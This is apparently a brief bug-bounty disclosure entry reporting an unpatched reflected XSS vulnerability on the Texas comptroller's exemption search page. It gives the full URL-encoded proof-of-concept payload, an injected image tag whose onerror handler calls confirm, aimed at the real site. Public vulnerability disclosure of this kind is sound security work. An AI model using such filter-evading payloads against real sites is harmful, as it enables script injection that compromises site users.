comptroller.texas.gov XSS vulnerability

Vulnerable URL: https://comptroller.texas.gov/taxes/exempt/search.php/%3C!%27/%22//%27//%22/--%3E%3C/Script%3E%3CImage%20Srcset=K%20/;%20Onerror=confirm%60'OPENBUGBOUNTY'%60%20//%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS...